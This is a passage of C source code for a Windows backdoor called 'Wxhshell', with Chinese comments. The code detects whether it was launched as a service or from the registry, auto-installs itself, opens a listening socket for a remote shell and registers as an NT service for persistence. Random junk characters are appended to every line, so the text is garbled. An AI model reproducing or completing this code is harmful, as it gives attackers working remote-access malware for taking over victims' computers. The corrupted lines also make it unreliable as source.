DWORD BasePriority;
h4J{j h.
ULONG UniqueProcessId; V]+o)A$
ULONG InheritedFromUniqueProcessId; ;bUJ+6f:
} PROCESS_BASIC_INFORMATION; v+|@}9| Z
N02zPC
8
PROCNTQSIP NtQueryInformationProcess; 50}.Xm@,BO
_%AJmt}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FSI]k:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^yzo!`)fso
a*pXrp@
HANDLE hProcess; 0+$hkd n
PROCESS_BASIC_INFORMATION pbi; MoC*tImWR
>u'/$k
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >#Grf)@"6
if(NULL == hInst ) return 0; &':UlzG
/zChdjz
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t;Fbt("]:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); COxZ
Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q1P,=T@
$8<j5%/ $M
if (!NtQueryInformationProcess) return 0; GapX$Jb,p
Rfkzv=<"X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PPuXas?i
if(!hProcess) return 0; z226yNlS
SSSDl$}'t
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l5":[C$
awj} K
CloseHandle(hProcess); *l-Dh:
U*`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +An![1N,
if(hProcess==NULL) return 0; I;bg?RsF
<lg"M;&Ht
HMODULE hMod; ~Q.8 U3"
char procName[255]; u&l>cJ'
unsigned long cbNeeded; A?6{
IPr*pQ{;c
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z
L6~Eut
7(nz<z p
CloseHandle(hProcess); \'}/&PCkr
h&:Q$*A>
if(strstr(procName,"services")) return 1; // 以服务启动 Q(!}t"u
SevfxR
return 0; // 注册表启动 .MzP}8^
} *`QdkVER
],fwZd[t
// 主模块 Nd]%ati?
int StartWxhshell(LPSTR lpCmdLine) )ZQ9a4%
{ /64^5DjTh
SOCKET wsl; UG^?a
BOOL val=TRUE; mBD!:V'
int port=0; 6qHvq
A,
struct sockaddr_in door; I/e2,
Xdp`Z'g
if(wscfg.ws_autoins) Install(); Hc_hO
*Wuctu^9
port=atoi(lpCmdLine); ;nAg4ll8Q
6S+K*/w
if(port<=0) port=wscfg.ws_port; Wj f>:\w
`pv89aO
WSADATA data; 9 FFfRIVY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J!TK*\a2
DbNi;m
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kgbr+Yw2X
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G,mH!lSm,
door.sin_family = AF_INET; ;5JIY7t
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }TAGr 0
door.sin_port = htons(port); )2^/?jK
8ZDqqz^C0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0u&?Zy9&
closesocket(wsl); uYFcq
return 1; G~iYF(:&
} q3pN/f;kr,
;o)`9<es!2
if(listen(wsl,2) == INVALID_SOCKET) { P20]>Hg
closesocket(wsl); 0F0(]7g^
return 1; {p lmFV
} Q\/":ISq1
Wxhshell(wsl); V[M$o
WSACleanup(); coP$7Q .
j5VRv$P
return 0; lWyP[>*
2I(@aB+
} w]5f3CIm
MF`k~)bDV
// 以NT服务方式启动 >.nt'BQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "<n"A7e
{ /x8C70W^
DWORD status = 0; :]z-Rz
DWORD specificError = 0xfffffff; M]/wei"X
.V )2Tz
serviceStatus.dwServiceType = SERVICE_WIN32; G4J6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _ry En
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !k??Kj
serviceStatus.dwWin32ExitCode = 0; p7=^m>Z6
serviceStatus.dwServiceSpecificExitCode = 0; :7PSZc:xE
serviceStatus.dwCheckPoint = 0; a ~iEps
serviceStatus.dwWaitHint = 0; 'N5r2JL[w
t=pkYq5t8
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '/qe#S
if (hServiceStatusHandle==0) return; U%PMV?L{
mX_Uhpw?t
status = GetLastError(); ~9/nx|%D
if (status!=NO_ERROR) t-|=weNy
{ 'JKvy(n>
serviceStatus.dwCurrentState = SERVICE_STOPPED; u1|Y;*
serviceStatus.dwCheckPoint = 0; 2T2#HP
serviceStatus.dwWaitHint = 0; WZ
V*J&
serviceStatus.dwWin32ExitCode = status; .=w`T
#L
serviceStatus.dwServiceSpecificExitCode = specificError; ]H9HO2wGQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4.kkxQR7r
return; Y;5^w=V
} JA(q>>4
+?m=f}>W1
serviceStatus.dwCurrentState = SERVICE_RUNNING; w!h{P38
serviceStatus.dwCheckPoint = 0; Lzx(!<v
serviceStatus.dwWaitHint = 0; 2Lu{@*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xg1r 3
} _<~Vxz9
w.F3o4YP
// 处理NT服务事件,比如:启动、停止 u'n%BVt
VOID WINAPI NTServiceHandler(DWORD fdwControl) xXh]z|
{ q\pc2Lh?^
switch(fdwControl) SD.*G'N&2f
{ %fSk
"%u%<
case SERVICE_CONTROL_STOP: 9NoPrR=x1
serviceStatus.dwWin32ExitCode = 0; 5xV/&N
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2iINQK$
serviceStatus.dwCheckPoint = 0; b({b5z.A
serviceStatus.dwWaitHint = 0; JI; i1@|b
{ 6!=9V0G~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |0pBBDw
} UY& W]
return; {$eZF_}Y^
case SERVICE_CONTROL_PAUSE: >v4~:n2D
serviceStatus.dwCurrentState = SERVICE_PAUSED; W)P_t"'@L
break; Vm8_
!$F
case SERVICE_CONTROL_CONTINUE: <YNPhu~5
serviceStatus.dwCurrentState = SERVICE_RUNNING; o;-!?uJ
break; 2{tJ'3
case SERVICE_CONTROL_INTERROGATE: ~#x!N=q
break; (C[S?@S
}; ,&l